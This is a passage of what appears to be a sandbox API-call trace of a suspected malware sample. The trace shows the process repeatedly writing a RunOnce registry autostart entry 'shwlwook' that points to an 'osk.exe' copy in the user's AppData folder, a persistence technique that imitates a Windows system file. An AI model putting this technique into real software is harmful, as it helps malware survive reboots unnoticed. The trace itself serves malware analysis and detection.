phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.598] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.598] RegCloseKey (hKey=0x14c) returned 0x0 [0255.599] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.599] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.609] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.609] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.610] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.610] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.610] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f310 | out: ppvObject=0x624f310*=0x0) returned 0x80004002 [0255.610] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x25 [0255.610] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.610] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x26 [0255.611] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624af30) returned 0x0 [0255.611] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x25 [0255.611] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.611] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.611] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.611] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.611] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f330 | out: ppvObject=0x624f330*=0x0) returned 0x80004002 [0255.611] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x26 [0255.611] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x25 [0255.612] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.612] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x25 [0255.612] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f340) returned 0x0 [0255.613] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x24 [0255.613] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.613] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.613] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.614] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.614] RegCloseKey (hKey=0x14c) returned 0x0 [0255.614] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.615] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.625] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.625] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.625] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.625] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.626] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f390 | out: ppvObject=0x624f390*=0x0) returned 0x80004002 [0255.626] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x26 [0255.626] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.626] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x27 [0255.626] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624af90) returned 0x0 [0255.626] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x26 [0255.626] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.626] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.626] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.627] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.627] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f3b0 | out: ppvObject=0x624f3b0*=0x0) returned 0x80004002 [0255.627] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x27 [0255.627] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x26 [0255.627] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.627] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x26 [0255.627] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f3c0) returned 0x0 [0255.628] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x25 [0255.628] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.629] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.629] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.629] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.629] RegCloseKey (hKey=0x14c) returned 0x0 [0255.630] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.630] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.640] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.641] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.641] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.641] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.641] GetTickCount () returned 0x3f369 [0255.641] SetThreadPriority (hThread=0x4ac, nPriority=0) returned 1 [0255.641] malloc (_Size=0xdc) returned 0x54d1140 [0255.641] malloc (_Size=0x30) returned 0x54d09d8 [0255.641] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x203000, flProtect=0x4) returned 0x80e0000 [0255.642] malloc (_Size=0x404) returned 0x54d1228 [0255.642] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f410 | out: ppvObject=0x624f410*=0x0) returned 0x80004002 [0255.642] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x27 [0255.642] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.642] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x28 [0255.642] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0000) returned 0x0 [0255.643] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x27 [0255.643] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.643] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.643] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.643] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.643] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f430 | out: ppvObject=0x624f430*=0x0) returned 0x80004002 [0255.643] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x28 [0255.643] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x27 [0255.644] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.644] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x27 [0255.644] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f440) returned 0x0 [0255.645] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x26 [0255.645] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.645] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.645] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, 